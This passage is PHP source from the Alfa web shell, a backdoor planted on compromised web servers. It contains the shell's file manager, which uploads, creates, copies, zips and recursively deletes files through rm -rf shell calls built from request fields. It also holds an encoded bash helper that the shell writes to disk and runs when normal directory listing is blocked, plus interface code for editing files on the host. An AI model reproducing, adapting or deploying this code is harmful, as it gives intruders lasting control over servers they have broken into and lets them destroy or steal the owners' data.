value="kr_theme">kr_theme</option><option value="kuroir">kuroir</option><option value="merbivore">merbivore</option><option value="merbivore_soft">merbivore_soft</option><option value="mono_industrial">mono_industrial</option><option value="monokai">monokai</option><option value="nord_dark">nord_dark</option><option value="pastel_on_dark">pastel_on_dark</option><option value="solarized_dark">solarized_dark</option><option value="solarized_light">solarized_light</option><option value="sqlserver">sqlserver</option><option value="textmate">textmate</option><option value="tomorrow">tomorrow</option><option value="tomorrow_night">tomorrow_night</option><option value="tomorrow_night_blue">tomorrow_night_blue</option><option value="tomorrow_night_bright">tomorrow_night_bright</option><option value="tomorrow_night_eighties">tomorrow_night_eighties</option><option value="twilight">twilight</option><option value="vibrant_ink">vibrant_ink</option><option value="xcode">xcode</option></select><span>Language: </span><select class="ace-controler" base="\'.$base.\'" onChange="alfaAceChangeSetting(this,\\\'lang\\\');"><option value="php">php</option><option value="python">python</option><option value="perl">perl</option><option value="c_cpp">c/c++</option><option value="csharp">c#</option><option value="ruby">ruby</option><option value="html">html</option><option value="javascript">javascript</option><option value="css">css</option><option value="xml">xml</option><option value="sql">sql</option><option value="swift">swift</option><option value="sh">bash</option><option value="lua">lua</option><option value="powershell">powershell</option><option value="jsp">jsp</option><option value="java">java</option><option value="json">json</option><option value="plain_text">plain_text</option></select><span>Soft Wrap: </span><input type="checkbox" name="wrapmode" class="ace-controler" onClick="alfaAceChangeWrapMode(this,\\\'\'.$base.\'\\\');" checked> | <span>Font Size: </span><button class="ace-controler" style="cursor:pointer;" onclick="alfaAceChangeFontSize(\\\'\'.$base.\'\\\',\\\'+\\\', this);return false;">+</button> | <button style="cursor:pointer;" class="ace-controler" onclick="alfaAceChangeFontSize(\\\'\'.$base.\'\\\', \\\'-\\\', this);return false;">-</button> | \';\r\n}\r\nfunction alfaFilesMan2(){\r\n\talfahead();\r\n\tAlfaNum(8,9,10,7,6,5,4);\r\n\techo \'<div style="position:relative;" fm_id="1" id="filesman_holder_1" class="ajaxarea filesman-active-content"><div class="header"></div></div>\';\r\n\talfaFooter();\r\n}\r\nfunction copy_paste($c,$s,$d){\r\nif(@is_dir($c.$s)){\r\n@mkdir($d.$s);\r\n$h = @opendir($c.$s);\r\nwhile (($f = @readdir($h)) !== false)\r\nif (($f != ".") and ($f != ".."))\r\ncopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\r\n} elseif(is_file($c.$s))\r\n@copy($c.$s, $d.$s);\r\n}\r\nfunction alfaFilesMan(){\r\nif(!empty ($_COOKIE[\'alfa_f\']))\r\n$_COOKIE[\'alfa_f\'] = @unserialize($_COOKIE[\'alfa_f\']);\r\nif(!empty($_POST[\'alfa1\'])){\r\nswitch($_POST[\'alfa1\']){\r\ncase \'uploadFile\':\r\n$move_cmd_file = false;\r\n$alfa_canruncmd = false;\r\nif($GLOBALS[\'glob_chdir_false\']){\r\n\t$alfa_canruncmd = _alfa_can_runCommand(true,true);\r\n\t$move_cmd_file = true;\r\n}\r\nif(_alfa_is_writable($GLOBALS[\'cwd\'])){\r\n$files = reArrayFiles($_FILES[\'f\']);\r\n$ret_files = array();\r\nforeach($files as $file){\r\nif($move_cmd_file&&$alfa_canruncmd){\r\n\talfaEx("cat \'".addslashes($file[\'tmp_name\'])."\' > \'".addslashes($_POST["c"]."/".$file[\'name\'])."\'");\r\n}else{\r\n\tif(@move_uploaded_file($file[\'tmp_name\'],$file[\'name\'])){\r\n\t\t$ow = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($file[\'name\'])):array("name" => "????");\r\n\t\t$gr = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($file[\'name\'])):array("name" => "????");\r\n\t\t$file_owner = $ow[\'name\']?$ow[\'name\']:(function_exists("fileowner")?@fileowner($file[\'name\']):"????");\r\n\t\t$file_group = $gr[\'name\']?$gr[\'name\']:(function_exists("filegroup")?@filegroup($file[\'name\']):"????");\r\n\t\t$file_modify = @date(\'Y-m-d H:i:s\', @filemtime($file[\'name\']));\r\n\t\t$file_perm = alfaPermsColor($file[\'name\']);\r\n\t\t$file_size = @filesize($file[\'name\']);\r\n\t\t$ret_files[] = array("name" => $file[\'name\'], "size" => alfaSize($file_size), "perm" => $file_perm, "modify" => $file_modify, "owner" => $file_owner."/".$file_group);\r\n\t}\r\n}\r\n}\r\nif(!$move_cmd_file){\r\n\techo json_encode($ret_files);\r\n}\r\n}else{\r\n\techo "noperm";\r\n\treturn;\r\n}\r\nif(!$move_cmd_file){\r\nreturn;\r\n}\r\nbreak;\r\ncase \'mkdir\':\r\n$new_dir_cmd = false;\r\nif($GLOBALS[\'glob_chdir_false\']){\r\n\tif(_alfa_can_runCommand(true,true)){\r\n\t\tif(_alfa_is_writable($GLOBALS[\'cwd\'])){\r\n\t\t\tif(!_alfa_is_dir(trim($_POST[\'alfa2\']))){\r\n\t\t\t\talfaEx("cd \'".trim(addslashes($_POST[\'c\']))."\';mkdir \'".trim(addslashes($_POST[\'alfa2\']))."\'");\r\n\t\t\t\techo "<script>alfaShowNotification(\'".addslashes($_POST[\'alfa2\'])." created...\', \'Files manager\');</script>";\r\n\t\t\t}else{\r\n\t\t\t\techo "<script>alfaShowNotification(\'folder already existed\', \'Files manager\', \'error\');</script>";\r\n\t\t\t}\r\n\t\t}else{\r\n\t\t\techo "<script>alfaShowNotification(\'folder isnt writable !\', \'Files manager\', \'error\');</script>";\r\n\t\t}\r\n\t}else{\r\n\t\techo "<script>alfaShowNotification(\'Can\\\'t create new dir !\', \'Files manager\', \'error\');</script>";\r\n\t}\r\n}else{\r\n\tif(_alfa_is_writable($GLOBALS[\'cwd\'])){\r\n\t\tif(!_alfa_is_dir(trim($_POST[\'alfa2\']))){\r\n\t\t\tif(!@mkdir(trim($_POST[\'alfa2\']))){\r\n\t\t\t\techo "<script>alfaShowNotification(\'Can\\\'t create new dir !\', \'Files manager\', \'error\');</script>";\r\n\t\t\t}else{\r\n\t\t\t\techo "<script>alfaShowNotification(\'".addslashes($_POST[\'alfa2\'])." created...\', \'Files manager\');</script>";\r\n\t\t\t}\r\n\t\t}else{\r\n\t\t\techo "<script>alfaShowNotification(\'folder already existed\', \'Files manager\', \'error\');</script>";\r\n\t\t}\r\n\t}else{\r\n\t\techo "<script>alfaShowNotification(\'folder isnt writable !\', \'Files manager\', \'error\');</script>";\r\n\t}\r\n}\r\nbreak;\r\ncase \'delete\':\r\nfunction deleteDir($path){\r\n$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';\r\n$dh = @opendir($path);\r\nwhile(($item = @readdir($dh)) !== false){\r\n$item = $path.$item;\r\nif((basename($item) == "..") || (basename($item) == "."))\r\ncontinue;\r\n$type = @filetype($item);\r\nif ($type == "dir")\r\ndeleteDir($item);\r\nelse\r\n@unlink($item);\r\n}\r\n@closedir($dh);\r\n@rmdir($path);\r\n}\r\nif(is_array(@$_POST[\'f\']))\r\nforeach($_POST[\'f\'] as $f){\r\nif($f == \'..\')\r\ncontinue;\r\n$f = rawurldecode($f);\r\nif($GLOBALS["glob_chdir_false"]){\r\n\tif(_alfa_can_runCommand(true,true)){\r\n\t\talfaEx("rm -rf \'".addslashes($_POST[\'c\'].\'/\'.$f)."\'");\r\n\t}\r\n}else{\r\nalfaEx("rm -rf \'".addslashes($f)."\'",false,false);\r\nif(@is_dir($f))\r\ndeleteDir($f);\r\nelse\r\n@unlink($f);\r\n}\r\n}\r\nif(@is_dir(rawurldecode(@$_POST[\'alfa2\']))&&rawurldecode(@$_POST[\'alfa2\'])!=\'..\'){\r\ndeleteDir(rawurldecode(@$_POST[\'alfa2\']));\r\nalfaEx("rm -rf \'".addslashes($_POST[\'alfa2\'])."\'",false,false);\r\n}else{\r\n@unlink(rawurldecode(@$_POST[\'alfa2\']));\r\n}\r\nif($GLOBALS["glob_chdir_false"]){\r\n\t$source = rawurldecode(@$_POST[\'alfa2\']);\r\n\tif($source!=\'..\'&&!empty($source)){\r\n\t\tif(_alfa_can_runCommand(true,true)){\r\n\t\t\talfaEx("cd \'".trim(addslashes($_POST[\'c\']))."\';rm -rf \'".addslashes($source)."\'");\r\n\t\t}\r\n\t}\r\n}\r\nif(is_array($_POST[\'f\']))\r\nreturn;\r\nbreak;\r\ncase \'paste\':\r\nif($_COOKIE[\'alfa_act\'] == \'copy\'&&isset($_COOKIE[\'alfa_f\'])){\r\nforeach($_COOKIE[\'alfa_f\'] as $f)\r\ncopy_paste($_COOKIE[\'alfa_c\'],$f, $GLOBALS[\'cwd\']);\r\n}elseif($_COOKIE[\'alfa_act\'] == \'move\'&&isset($_COOKIE[\'alfa_f\'])){\r\nfunction move_paste($c,$s,$d){\r\nif(@is_dir($c.$s)){\r\n@mkdir($d.$s);\r\n$h = @opendir($c.$s);\r\nwhile (($f = @readdir($h)) !== false)\r\nif(($f != ".") and ($f != ".."))\r\ncopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\r\n}elseif(@is_file($c.$s))\r\n@copy($c.$s, $d.$s);\r\n}\r\nforeach($_COOKIE[\'alfa_f\'] as $f)\r\n@rename($_COOKIE[\'alfa_c\'].$f, $GLOBALS[\'cwd\'].$f);\r\n}elseif($_COOKIE[\'alfa_act\'] == \'zip\'&&isset($_COOKIE[\'alfa_f\'])){\r\nif(class_exists(\'ZipArchive\')){\r\n$zip = new ZipArchive();\r\n$zipX = "alfa_".rand(1,1000).".zip";\r\nif($zip->open($zipX, 1)){\r\n@chdir($_COOKIE[\'alfa_c\']);\r\nforeach($_COOKIE[\'alfa_f\'] as $f){\r\nif($f == \'..\')continue;\r\nif(@is_file($_COOKIE[\'alfa_c\'].$f))\r\n$zip->addFile($_COOKIE[\'alfa_c\'].$f, $f);\r\nelseif(@is_dir($_COOKIE[\'alfa_c\'].$f)){\r\n$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\'));\r\nforeach($iterator as $key=>$value){\r\n$key = str_replace(\'\\\\\',\'/\',realpath($key));\r\nif(@is_dir($key)){\r\nif(in_array(substr($key, strrpos($key,\'/\')+1),array(\'.\', \'..\')))continue;\r\n}else{$zip->addFile($key,$key);}}}}\r\n@chdir($GLOBALS[\'cwd\']);\r\n$zip->close();\r\n__alert(\'>> \'.$zipX.\' << is created...\');}}\r\n}elseif($_COOKIE[\'alfa_act\'] == \'unzip\'&&isset($_COOKIE[\'alfa_f\'])){\r\nif(class_exists(\'ZipArchive\')){\r\n$zip = new ZipArchive();\r\nforeach($_COOKIE[\'alfa_f\'] as $f) {\r\nif($zip->open($_COOKIE[\'alfa_c\'].$f)){\r\n$zip->extractTo($_COOKIE[\'alfa_cwd\']);\r\n$zip->close();}}}}\r\nunset($_COOKIE[\'alfa_f\']);\r\nbreak;\r\ndefault:\r\nif(!empty($_POST[\'alfa1\'])){\r\nif(in_array($_POST[\'alfa1\'], array("copy", "move", "zip", "unzip"))){\r\n__alfa_set_cookie(\'alfa_act\', @$_POST[\'alfa1\']);\r\n__alfa_set_cookie(\'alfa_f\', @serialize($_POST[\'f\']));\r\n__alfa_set_cookie(\'alfa_c\', @$_POST[\'c\']);\r\nreturn;\r\n}\r\n}\r\nbreak;\r\n}\r\n}\r\n$dirContent = @scandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);\r\nif(preg_match("#(.*)\\/\\.\\.#", $_POST[\'c\'], $res)){\r\n\t$path = explode(\'/\', $res[1]);\r\n\tarray_pop($path);\r\n\t$_POST[\'c\'] = implode(\'/\', $path);\r\n}\r\n$cmd_dir = false;\r\nif($dirContent === false){\r\n\tif(_alfa_can_runCommand(true,true)){\r\n\t\t$tmp_getdir_path = @$_COOKIE["alfachdir_bash_path"];\r\n\t\t@chdir(dirname($_SERVER["SCRIPT_FILENAME"]));\r\n\t\tif(!isset($_COOKIE["alfachdir_bash"])||@!file_exists($tmp_getdir_path."/alfacgiapi/getdir.alfa")){\r\n\t\t\t$bash = "jZTfb5swEMef4a+4uaYkSmmS/YpEwsOkqVNfO+1hSqKKggnWwI4MEaFppL3vv9xfUtsYSKpMWh6I7/O9O9vcHVfvxrtCjJ8oGxep/fX+IcBT+/7ue4DdFXNtEqUc0BLZCRdAgTLAg6wALwQsfYdziLkN8rcNyzRAio0xRRrRBJZLwBSCANDtLYLra/D2Mr5KaZSCIGGcUfZrCOv1HMqUMB3VJcOD1gO8BLBiw86DBhpoO6G2RVnCZURRhiV4ESDnznd++M433yl856c/cULf+YLaLJa6n+u7+gzgCXWdUIiwhsViAQirbMi2ynpLAnzQynKyPurdeMWI6OjU0I3gu21H30tqFfS5j/6gSM5jmtQd+2hit0TkbJd3/NMJT3d5yDrls1EYqR571XWb1yALNBgApcFkLp8LfLjqfI6KjEYw7Av2JstIFu/QWT6m1J8e//7+05Qy5oy8PdNZuKxAU21zGV3zyXQ2m6G+vJbVXhVNlGJAkw/FQm5X7eVDVPKxF5V00LXVmb1KFkaVTyVUraSYOGFnm0Q84yJAeUjZ40YQwvRRZUKSmXT/FSo7tSR9aEEu+AgStx79abHqHf0SYipIVHJRn22kW0tpJ0fqYwTZ7LJQyM7OiL7uy8tlB5Jvy/rfbkWdP/GMRqCm6ML+OrA5tp7zwwqxMCcr5MNKTsEK3ch/5WpIs1RQT4GhZq2wHgODzVphNQqGNksFm2kwuDWUYJrEKJ3VSrpdTkRjt7IuzYls7OONrZu4+Z4djmv0Cg==";\r\n\t\t\t$tmp_getdir_path = alfaWriteTocgiapi("getdir.alfa",$bash);\r\n\t\t\t__alfa_set_cookie("alfachdir_bash", "true");\r\n\t\t\t__alfa_set_cookie("alfachdir_bash_path", $tmp_getdir_path);\r\n\t\t}\r\n\t\t$dirContent = alfaEx("cd ".$tmp_getdir_path."/alfacgiapi;sh getdir.alfa \'".addslashes(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\'])."\'");\r\n\t\t$dirContent = json_decode($dirContent, true);\r\n\t\tif(is_array($dirContent)){\r\n\t\t\tarray_pop($dirContent);\r\n\t\t\t$cmd_dir = true;\r\n\t\t}else{\r\n\t\t\t$dirContent = false;\r\n\t\t}\r\n\t}\r\n}\r\nalfahead();\r\nAlfaNum(8,9,10,7,6,5,4);\r\n$count_dirContent = @count($dirContent);\r\nif($count_dirContent > 300){\r\n\t@$_COOKIE["alfa_limited_files"] = 100;\r\n}\r\n$alfa_sort_by = isset($_COOKIE["alfa_sort_by"]) ? $_COOKIE["alfa_sort_by"] : \'name\';\r\n$alfa_limited_files = isset($_COOKIE["alfa_limited_files"]) ? (int)$_COOKIE["alfa_limited_files"] : 0;\r\n$alfa_files_page_number = isset($_POST["pagenum"]) ? (int)$_POST["pagenum"] : 1;\r\n$alfa_filesman_direction = isset($_COOKIE["alfa_filesman_direction"]) ? $_COOKIE["alfa_filesman_direction"] : \'asc\';\r\n$files_page_count = 1;\r\nif($alfa_limited_files > 0){\r\n\t$files_page_count = ceil($count_dirContent/$alfa_limited_files);\r\n\tif($files_page_count > 1){\r\n\t\t$files_page_count++;\r\n\t}\r\n}\r\necho \'<div><div class="filters-holder"><span>Filter: </span><input style="color:#25ff00;" autocomplete="off" type="text" id="regex-filter" name="name-filter" onkeydown="doFilterName(this);"><span style="margin-left:10px">Sort By: </span><select name="sort_files" onchange="sortBySelectedValue(this,\\\'alfa_sort_by\\\');" style="color:#25ff00;"><option value="name" \'.($alfa_sort_by == \'name\'?\'selected\':\'\').\'>Name</option><option value="size" \'.($alfa_sort_by == \'size\'?\'selected\':\'\').\'>Size</option><option value="modify" \'.($alfa_sort_by == \'modify\'?\'selected\':\'\').\'>Modify</option></select><span style="margin-left:10px">Direction: </span><select name="direction_filesman" onChange="sortBySelectedValue(this,\\\'alfa_filesman_direction\\\')" style="color:#25ff00;"><option value="asc" \'.($alfa_filesman_direction == \'asc\'?\'selected\':\'\').\'>Ascending</option><option value="desc" \'.($alfa_filesman_direction == \'desc\'?\'selected\':\'\').\'>Descending</option></select><span style="margin-left:10px;"> limit: </span><input style="text-align:center;width: 40px;color:#25ff00;" type="text" name="limited_number" value="\'.$alfa_limited_files.\'" oninput="this.value=this.value.replace(/[^0-9]/g,\\\'\\\');setCookie(\\\'alfa_limited_files\\\', this.value, 2012);"><span style="margin-left:10px;">Files Count: <b style="color:#25ff00;">\'.($count_dirContent-1).\'</b></span></div><div class="header">\';\r\nif($dirContent == false){\r\necho \'<center><br><span style="font-size:16px;"><span style="color: red; -webkit-text-shadow: 1px 1px 13px;"><strong><b><big>!!! Access Denied !!!</b></big><br><br></strong></div>\';\r\nalfaFooter();\r\nreturn;\r\n}\r\nglobal $sort;\r\n$sort = array(\'name\', 1);\r\nif(isset($_COOKIE["alfa_sort_by"]) && !empty($_COOKIE["alfa_sort_by"])){\r\n\t$sort[0] = $_COOKIE["alfa_sort_by"];\r\n}\r\nif(!empty($_POST[\'alfa1\'])) {\r\nif(preg_match(\'!s_([A-z]+)_(\\d{1})!\', $_POST[\'alfa1\'], $match))\r\n$sort = array($match[1], (int)$match[2]);\r\n}\r\nif($alfa_files_page_number > ($files_page_count-1)){\r\n\t$alfa_files_page_number = 1;\r\n}\r\n$checkbox_rand = rand(11111, 99999);\r\necho "<form onsubmit=\'fc(this);return false;\' name=\'files\' method=\'post\'><table id=\'filemanager_table\' width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'><tr><th width=\'13px\'><div class=\'myCheckbox\' style=\'padding-left:0px;\'><input type=\'checkbox\' id=\'mchk".$checkbox_rand."\' onclick=\'checkBox(this);\' class=\'chkbx\'><label for=\'mchk".$checkbox_rand."\'></label></div></th><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>";\r\n$dirs = $files = array();\r\n$n = $count_dirContent;\r\nif($n > $alfa_limited_files && $alfa_limited_files > 0){\r\n\t$n = ($alfa_limited_files * $alfa_files_page_number);\r\n\tif($n > $count_dirContent){\r\n\t\t$n = $count_dirContent;\r\n\t}\r\n}\r\n$i = 0;\r\nif($alfa_limited_files > 0 && $alfa_files_page_number > 1){\r\n\t$i = $alfa_limited_files * ($alfa_files_page_number - 1);\r\n}\r\n$page_builder = get_pagination_links($alfa_files_page_number,$files_page_count -1);\r\n$cmd_dir_backp = "";\r\nfor(;$i<$n;$i++){\r\nif($cmd_dir){\r\n$filename = $dirContent[$i]["name"];\r\n$file_owner = $dirContent[$i]["owner"];\r\n$file_group = $dirContent[$i]["group"];\r\n$file_modify = @date(\'Y-m-d H:i:s\', $dirContent[$i]["modify"]);\r\n$file_perm = alfaPermsColor(array("class"=>$dirContent[$i]["permcolor"],"num"=>$dirContent[$i]["permnum"],"human"=>$dirContent[$i]["permhuman"]),true);\r\n$file_size = $dirContent[$i]["size"];\r\nif(substr($dirContent[$i]["name"], 0 ,1) == "/"){\r\n$file_path = $dirContent[$i]["name"];\r\n$dirContent[$i]["name"] = "..";\r\n$filename = $dirContent[$i]["name"];\r\n}else{\r\n$file_path = $GLOBALS[\'cwd\']."/".$dirContent[$i]["name"];\r\n}\r\n}else{\r\n$filename = $dirContent[$i];\r\n$ow = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($GLOBALS[\'cwd\'].$filename)):array("name" => "????");\r\n$gr = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($GLOBALS[\'cwd\'].$filename)):array("name" => "????");\r\n$file_owner = $ow[\'name\']?$ow[\'name\']:(function_exists("fileowner")?@fileowner($GLOBALS[\'cwd\'].$filename):"????");\r\n$file_group = $gr[\'name\']?$gr[\'name\']:(function_exists("filegroup")?@filegroup($GLOBALS[\'cwd\'].$filename):"????");\r\n$file_modify = @date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $filename));\r\n$file_perm = alfaPermsColor($GLOBALS[\'cwd\'].$filename);\r\n$file_size = @filesize($GLOBALS[\'cwd\'].$filename);\r\n$file_path = $GLOBALS[\'cwd\'].$filename;\r\n}\r\n$tmp = array(\'name\' => $filename,\r\n\'path\' => $file_path,\r\n\'modify\' => $file_modify,\r\n\'perms\' => $file_perm,\r\n\'size\' => $file_size,\r\n\'owner\' => $file_owner,\r\n\'group\' => $file_group\r\n);\r\nif($filename == ".." && !$cmd_dir){\r\n\t$tmp["path"] = str_replace("\\\\", "/", realpath($file_path));\r\n}\r\nif(!$cmd_dir){\r\nif(@is_file($file_path)){\r\n$arr_mrg = array(\'type\' => \'file\');\r\nif(@is_link($file_path)){\r\n$arr_mrg["link"] = readlink($tmp[\'path\']);\r\n}\r\n$files[] = array_merge($tmp, $arr_mrg);\r\n}elseif(@is_link($file_path)){\r\n$dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));\r\n}elseif(@is_dir($file_path)&& ($filename != ".")){\r\n$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));\r\n}\r\n}else{\r\n\tif($dirContent[$i]["type"]=="file"){\r\n\t\t$files[] = array_merge($tmp, array(\'type\' => \'file\'));\r\n\t}else{\r\n\t\tif($dirContent[$i]["name"] != "."){\r\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));\r\n\t\t}\r\n\t}\r\n}\r\n}\r\n$GLOBALS[\'sort\'] = $sort;\r\nfunction alfaCmp($a, $b) {\r\nif($GLOBALS[\'sort\'][0] != \'size\')\r\nreturn strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);\r\nelse\r\nreturn (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);\r\n}\r\nusort($files, "alfaCmp");\r\nusort($dirs, "alfaCmp");\r\nif(isset($_COOKIE["alfa_filesman_direction"])&& !empty($_COOKIE["alfa_filesman_direction"])){\r\n\tif($_COOKIE["alfa_filesman_direction"] == \'desc\'){\r\n\t\t$files = array_reverse($files);\r\n\t\t$dirs = array_reverse($dirs);\r\n\t}\r\n}\r\n$files = array_merge($dirs, $files);\r\n$l=0;\r\n$cc=0;\r\nforeach($files as $f){\r\n$f[\'name\'] = htmlspecialchars($f[\'name\']);\r\n$newname = mb_strlen($f[\'name\'], \'UTF-8\')>60?mb_substr($f[\'name\'], 0, 60, \'utf-8\').\'...\':$f[\'name\'];\r\n$checkbox = \'checkbox_\'.$checkbox_rand.$cc;\r\n$raw_name = rawurlencode($f[\'name\']);\r\n$icon = $GLOBALS[\'DB_NAME\'][\'show_icons\']?\'<img src="\'.findicon($f[\'name\'],$f[\'type\']).\'" width="30" height="30">\':\'\';\r\n$style = $GLOBALS[\'DB_NAME\'][\'show_icons\']?\'position:relative;display:inline-block;bottom:12px;\':\'\';\r\necho \'<tr class="fmanager-row" id="tr_row_\'.$cc.\'"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="\'.$raw_name.\'" class="chkbx" id="\'.$checkbox .\'"><label for="\'.$checkbox .\'"></label></div></td><td id="td_row_\'.$cc.\'">\'.$icon.\'<div style="\'.$style.\'"><a row="\'.$cc.\'" id="id_\'.$cc.\'" class="main_name" onclick="\'.(($f[\'type\']==\'file\')?\'editor(\\\'\'.$raw_name.\'\\\',\\\'auto\\\',\\\'\\\',\\\'\\\',\\\'\\\',\\\'\'.$f[\'type\'].\'\\\');" href="#action=fileman&path=\'.$GLOBALS[\'cwd\'].\'&file=\'.$raw_name.\'" fname="\'.$raw_name.\'" ftype="file" path="\'.$GLOBALS[\'cwd\'].\'" opt_title="\'.$f[\'link\'].\'" \'.(isset($f[\'link\'])?\'onmouseover="showSymlinkPath(this,event);" onmouseout="hideSymlinkPath(this,event);"\':\'\').\'>\'.($GLOBALS[\'cwd\'].$f[\'name\']==$GLOBALS[\'__file_path\']?"<span class=\'shell_name\' style=\'font-weight:unset;\'>".$f[\'name\']."</span>":htmlspecialchars($newname)):\'g(\\\'FilesMan\\\',\\\'\'.$f[\'path\'].\'\\\');" href="#action=fileman&path=\'.$f[\'path\'].\'" fname="\'.$raw_name.\'" ftype="folder" path="\'.$GLOBALS[\'cwd\'].\'" opt_title="\'.$f[\'link\'].\'" \'.(isset($f[\'link\'])?\'onmouseover="showSymlinkPath(this,event);" onmouseout="hideSymlinkPath(this,event);"\':\'\').\'><b>| \' . htmlspecialchars($f[\'name\']) . \' |</b>\').\'</a></td></div><td><span style="font-weight:unset;" class="main_size">\'.(($f[\'type\']==\'file\')?(isset($f[\'link\'])?\'[L] \':\'\').alfaSize($f[\'size\']):$f[\'type\']).\'</span></td><td><span style="font-weight:unset;" class="main_modify">\'.$f[\'modify\'].\'</span></td><td><span style="font-weight:unset;" class="main_owner_group">\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</span></td><td><a id="id_chmode_\'.$cc.\'" href=javascript:void(0) onclick="editor(\\\'\'.$raw_name.\'\\\',\\\'chmod\\\',\\\'\\\',\\\'\\\',\\\'\\\',\\\'\'.$f[\'type\'].\'\\\')">\'.\r\n$f[\'perms\'].\'</td><td><a id="id_rename_\'.$cc.\'" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\\\'\'.$raw_name.\'\\\', \\\'rename\\\',\\\'\\\',\\\'\\\',\\\'\\\',\\\'\'.$f[\'type\'].\'\\\')">R</a> <a id="id_touch_\'.$cc.\'" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\\\'\'.$raw_name.\'\\\', \\\'touch\\\',\\\'\\\',\\\'\\\',\\\'\\\',\\\'\'.$f[\'type\'].\'\\\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a id="id_edit_\'.$cc.\'" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\\\'\'.$raw_name.\'\\\', \\\'edit\\\',\\\'\\\',\\\'\\\',\\\'\\\',\\\'\'.$f[\'type\'].\'\\\')">E</a> <a id="id_download_\'.$cc.\'" title="Download" class="actions" href="javascript:void(0);" onclick="g(\\\'FilesTools\\\',null,\\\'\'.$raw_name.\'\\\', \\\'download\\\')">D</a>\':\'\').\'<a id="id_delete_\'.$cc.\'" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\\\'Are You Sure For Delete # \'.addslashes(rawurldecode($f[\'name\'])).\' # ?\\\'); chk ? g(\\\'FilesMan\\\',null,\\\'delete\\\', \\\'\'.$raw_name.\'\\\') : \\\'\\\';"> X </a></td></tr>\';\r\n$l = $l?0:1;\r\n$cc++;\r\n}\r\necho "<tr id=\'filemanager_last_tr\'><td colspan=7>\r\n<input type=hidden name=a value=\'FilesMan\'>\r\n<input type=hidden name=c value=\'".htmlspecialchars(($GLOBALS[\'glob_chdir_false\']?$_POST[\'c\']:$GLOBALS[\'cwd\']))."\'>\r\n<input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>\r\n<select id=\'tools_selector\' name=\'alfa1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\' selected>Delete</option><option value=\'zip\'>Add 2 Compress (zip)</option><option value=\'unzip\'>Add 2 Uncompress (zip)</option><option value=\'paste\'>Paste / Zip / Unzip </option></select>\r\n<input type=\'submit\' value=\' \'>\r\n</form></table><div class=\'pages-holder\'><div class=\'pages-number\'>".$page_builder."</div></div></div></div>";\r\nalfafooter();\r\n}\r\nfunction get_pagination_links($current_page, $total_pages){\r\n $links = "";\r\n if ($total_pages >= 1 && $current_page <= $total_pages) {\r\n\t\t$links .= "<a onclick=\\"pageChangedFilesMan(this);\\" class=\\"page-number\\"><<</a>";\r\n\t\t$selected_page = "";\r\n\t\tif($current_page == 1){\r\n\t\t\t$selected_page = " active-page-number";\r\n\t\t}\r\n $links .= "<a onclick=\\"pageChangedFilesMan(this);\\" class=\\"page-number".$selected_page."\\">1</a>";\r\n $i = max(2, $current_page - 5);\r\n if ($i > 2)\r\n $links .= "<a class=\\"page-number\\">...</a>";\r\n for (; $i < min($current_page + 6, $total_pages); $i++) {\r\n\t\t\tif($i == $current_page){\r\n\t\t\t\t$selected_page = " active-page-number";\r\n\t\t\t}else{\r\n\t\t\t\t$selected_page = "";\r\n\t\t\t}\r\n $links .= "<a onclick=\\"pageChangedFilesMan(this);\\" class=\\"page-number".$selected_page."\\">{$i}</a>";\r\n }\r\n if ($i != $total_pages)\r\n $links .= "<a class=\\"page-number\\">...</a>";\r\n\t\t$selected_page = " last-page-number";\r\n\t\tif($current_page == $total_pages){\r\n\t\t\t$selected_page .= " active-page-number";\r\n\t\t}\r\n $links .= "<a onclick=\\"pageChangedFilesMan(this);\\" class=\\"page-number".$selected_page."\\">{$total_pages}</a>";\r\n\t\t$links .= "<a onclick=\\"pageChangedFilesMan(this);\\" class=\\"page-number\\">>></a>";\r\n }\r\n return $links;\r\n}\r\nfunction alfaFilesTools(){\r\nalfahead();\r\necho \'<div class="filestools" style="height: 100%;">\';\r\nif(isset($_POST[\'alfa1\']))$_POST[\'alfa1\'] = rawurldecode($_POST[\'alfa1\']);\r\n$alfa1_decoded = $_POST[\'alfa1\'];\r\n$chdir_fals = false;\r\nif(!@chdir($_POST[\'c\'])){\r\n\t$chdir_fals = true;\r\n\t$_POST[\'alfa1\'] = $_POST["c"]."/".$_POST["alfa1"];\r\n\t$alfa_canruncmd = _alfa_can_runCommand(true,true);\r\n\tif($alfa_canruncmd){\r\n\t\t$slashed_alfa1 = addslashes($_POST[\'alfa1\']);\r\n\t\t$file_info = explode(":", alfaEx(\'stat -c "%F:%U:%G:%s:%Y:0%a:%A" "\'.$slashed_alfa1.\'"\'));\r\n\t\t$perm_color_class = alfaEx("if [[ -w \'".$slashed_alfa1."\' ]]; then echo main_green_perm; elif [[ -r \'".$slashed_alfa1."\' ]]; then echo main_white_perm; else echo 